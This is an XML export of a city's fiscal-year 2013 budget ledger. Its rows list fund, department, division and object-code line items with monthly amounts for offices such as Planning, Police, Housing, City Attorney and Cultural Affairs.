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<row _id="167"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>401560.0</object><object_description>ZONING APPR/VARIANCE FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-903186.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-903186.0</total></row>
<row _id="168"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>401290.0</object><object_description>POLICE-MOVIE JOBS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-408000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-408000.0</total></row>
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<row _id="170"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2200.0</total></row>
<row _id="171"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6334.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6334.0</total></row>
<row _id="172"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>577410.0</object><object_description>SITE IMPROVEMENTS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7758.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7758.0</total></row>
<row _id="173"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>8000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8000.0</total></row>
<row _id="174"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>12138.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12138.0</total></row>
<row _id="175"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="176"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>25888.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>116000</february><march>-93000.0</march><april>0</april><may>0</may><june>0.0</june><total>48888.0</total></row>
<row _id="177"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522710.0</object><object_description>AUTO REIMBURSEMENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="178"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>4000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="179"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>566550.0</object><object_description>COMMUNITY FESTIVALS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>13668.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>13668.0</total></row>
<row _id="180"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1160.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1160.0</total></row>
<row _id="181"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>79326.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>79326.0</total></row>
<row _id="182"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7590.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7590.0</total></row>
<row _id="183"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522000.0</object><object_description>UNRECOVERED INSURANCE LOSS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>799566.11</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>799566.11</total></row>
<row _id="184"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522010.0</object><object_description>PAYMENT OF CLAIMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1553389.93</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1553389.93</total></row>
<row _id="185"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>522100.0</object><object_description>EXPERT WITNESS COSTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>125000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>125000.0</total></row>
<row _id="186"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>56</fund_id><fund_name>Self-insur, General Liab/Auto</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>232</division_id><division_name>COMPREHENSIVE</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>20000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="187"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2200.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2200.0</total></row>
<row _id="188"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>163102.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>163102.0</total></row>
<row _id="189"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>132475.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>132475.0</total></row>
<row _id="190"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>70000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>70000.0</total></row>
<row _id="191"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401620.0</object><object_description>LIBRARY PARKING LOT</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-35000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-35000.0</total></row>
<row _id="192"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>401900.0</object><object_description>FALSE ALARM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-315288.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-315288.0</total></row>
<row _id="193"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>7037212.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>70372</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7107584.0</total></row>
<row _id="194"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1833.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>18</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1851.0</total></row>
<row _id="195"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>14000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>14000.0</total></row>
<row _id="196"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>9500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9500.0</total></row>
<row _id="197"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5670.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>57</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5727.0</total></row>
<row _id="198"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>70826.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>70826.0</total></row>
<row _id="199"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="200"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>8595.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>8595.0</total></row>
<row _id="201"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="202"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7718.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7718.0</total></row>
<row _id="203"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="204"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2600.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2600.0</total></row>
<row _id="205"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>399.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>399.0</total></row>
<row _id="206"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>121233.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>121233.0</total></row>
<row _id="207"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569110.0</object><object_description>CA HERITAGE SQUARE MUSEUM</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>19500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>19500.0</total></row>
<row _id="208"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569130.0</object><object_description>SM HISTORICAL SOCIETY</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6100.0</total></row>
<row _id="209"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569200.0</object><object_description>SM PLAYHOUSE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>19500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>19500.0</total></row>
<row _id="210"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>45000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>45000.0</total></row>
<row _id="211"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>30000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="212"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>400890.0</object><object_description>CITY OF LA  - SEWER REPAIR</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-388402.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-388402.0</total></row>
<row _id="213"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>10202.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>102</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10304.0</total></row>
<row _id="214"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533590.0</object><object_description>CONF / MTGS / TRAVEL-GD</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6966.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6966.0</total></row>
